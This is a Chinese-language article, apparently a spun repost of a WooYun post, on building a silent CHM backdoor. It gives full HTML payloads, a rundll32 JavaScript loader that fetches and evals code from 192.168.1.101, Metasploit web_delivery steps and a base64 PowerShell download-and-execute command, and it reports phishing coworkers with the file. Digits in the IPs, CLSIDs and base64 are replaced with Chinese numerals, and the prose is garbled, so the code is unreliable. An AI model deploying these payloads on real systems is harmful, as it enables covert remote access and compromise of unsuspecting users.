|
|
|
联系客服020-83701501

浅谈高级组合技打造“完美” 捆绑后门

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
浅谈高级组合技制造“完美” 绑缚后门

0x00 简介

畴前写过一篇关于客户端钓鱼的文章:《把持powershell Client进行有效钓鱼》中,在把持各个Client进行测试的过程中,个人发明CHM文件是最佳用的一个,但是其流弊就是会弹黑框,这样就会让被打击者察觉。那么怎样让他不弹黑框呢?那就是本文要引见的形式啦~

0x01 CHM 简介

在引见怎样把持CHM来作为后门畴前,起首要知道CMH是什么东西。

CHM(Compiled Help Manual)即“已编译的援助文件”。它是微软新一代的援助文件格局,把持HTML作源文,把援助形式以类似数据库的形式编译储存。CHM反对 Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并兴许颠末URL与 网络朋分在一同。因为把持轻易,形式多样也被采纳作为电子书的格局。

0x02 CHM 制造

CHM的制造方法很多。有多款工具兴许把持,这里就不在做详细的引见了。本次测试把持了EasyCHM来制造CHM文件,把持起来非常复杂。

新建如下目次,文件形式轻易:

Alt text

掀开EasyCHM,新建->浏览。选择该目次。默认文件类型:

Alt text

点击确认,即可看到预览的CHM文件:

Alt text

选择编译,即可编译成CHM文件。

0x03 CHM Execute Command

14年的时候@ithurricanept 在twitter上发了一个demo,颠末CHM运行计算器:

Alt text

把持代码如下:

Default
123456七八九101112 <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec<OBJECT id=x classid="clsid:adb八80a6-d八ff-11cf-九3七7-00aa003b七a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="2七3,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

将以上代码写入html,置于工程目次进行编译,天生CHM文件,运行此文件,弹出计算器:

Alt text

0x04 去除弹框

有测试过nishang Out-CHM 的同学会发明,运行天生的CHM文件的时候会看到明显的弹框。就像这样:

Alt text

某个清晨突然脑洞了一下,想到了一个好的方法来让他不显现弹框,即撮合把持JavaScript Backdoor。颠末测试,得胜实现在不弹框的情况下获得meterpreter会话,此次测试把持一个我修悛改的python版 JSRat.ps1 ,地址为:MyJSRat。把持方法详见 readme。

如下为残缺的测试过程:

1、撮合CHM + JSBackdoor

把持交互形式的JSRat server:

Default
1 python MyJSRat.py -i 1九2.16八.1.101 -p 八0八0

接见访问 http://1九2.16八.1.101:八0八0/wtf 获得打击代码如下:

Default
1 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://1九2.16八.1.101:八0八0/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

颠末多次测试,得胜将以上饬令写入chm,其Html代码为:

Default
123456七八九101112 <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb八80a6-d八ff-11cf-九3七7-00aa003b七a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://1九2.16八.1.101:八0八0/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="2七3,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

编译之后运行,兴许得胜获得JS交互shell:

Alt text

间接履行cmd /c command 是会有黑框的,兴许把持run来防御显现黑框。履行run之后,输出 whoami > e:\1.txt 之后颠末read 来获得回显。

2、获得meterpreter会话

此次测试获得meterpreter会话的方法是颠末履行powershell饬令,间接获得,当获得客户端JS 交互shell之后踊跃履行powershell饬令,获得meterpreter会话。详细操作如下:

封闭MSF web_delivery:

Default
123456七八九101112131415161七1八1九20212223 ~  msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 1九2.16八.1.101lhost => 1九2.16八.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 八0八1SRVPORT => 八0八1msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 1九2.16八.1.101:6666[*] Using URL: http://0.0.0.0:八0八1/[*] Local IP: http://1九2.16八.1.101:八0八1/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://1九2.16八.1.101:八0八1/');

装有powershell的客户端履行如下饬令则可获得meterpreter会话:

Default
1 powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://1九2.16八.1.101:八0八1/');

因为存在不凡字符,咱们兴许把以上代码编码为base64格局,将如下代码存入power.txt

Default
1234 $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://1九2.16八.1.101:八0八1/');

履行如下饬令:

Default
1 cat power.txt | iconv --to-code UTF-16LE |base64

终极要履行的powershell饬令为:

Default
1 powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG八AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA七AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA九AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA七AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC八ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA七AA==

把持履行饬令形式间接获得meterpreter会话:

Default
1 python MyJSRat.py -i 1九2.16八.1.101 -p 八0八0 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG八AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA七AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA九AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA七AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC八ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA七AA=="

测试过程中,从运行CHM到获得meterpreter,客户端无明显特别很是,全程无黑框弹出,获得到meterpreter会话如下图:

Alt text

3、可否被杀?

或许很多人会问,会不会被杀,上面是virscan的查杀后果:

http://r.virscan.org/report/61七3ee九c62d2九八06bb八4035a八f1七3八ba

Alt text

0x05 把持场景

一张图说明(让我猜猜你会不会点):

Alt text

注: 肆意找了几个破绽把持工具修改了文件名,并不代表原作者分享的工存在问题。

0x06 实践测试

是用上述方法制造chm文件,定名为一个角力总计有吸引力的名字,譬喻在公司武艺群发了一个名字为&#八221;制造免杀后门.chm&#八221;的文件,实践测试后果如下图:

得胜获很多个人的meterpreter会话。

0x0七 预防

目前我还没查到什么预防的姿势,知道的小搭档兴许分享一下。最佳就是提高个人安全相识,对于这类文件,多留意一下,尽量别乱点,假定非要点,兴许放到虚拟机概况。把持procexp.exe兴许看到存在后门的chm文件会封闭新的过程:

Alt text

对于碰着这种后门,怎样溯源呢,切实也很复杂,chm是兴许反编译为html的。 把持windows自带的hh.exe 则可进行反编译。饬令如下:

Default
1 C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 为之后目次的test文件夹

履行后果如下:

0x0八 小结

此次测试就是对一些已知的打击武艺手段花样进行撮合,后果是让此绑缚后门更加隐蔽,近乎“完美”,美中不敷的是在文件封闭的时候会涌现短暂的卡顿。无意偶尔候小破绽撮合起来能造成大强占,小武艺手段花样撮合起来也能成大杀器。本着分享的肉体将此姿势引见,祈望小搭档们能免受其害。

0x0九 参考

  1. https://twitter.com/ithurricanept/status/534九93七431九60九036八
  2. https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
  3. http://drops.wooyun.org/tips/11七64
  4. https://github.com/samratashok/nishang

【via@evi1cg】 首发乌云drops,本文系受权转载,未经受权请勿转载。

数安新闻+更多

证书相关+更多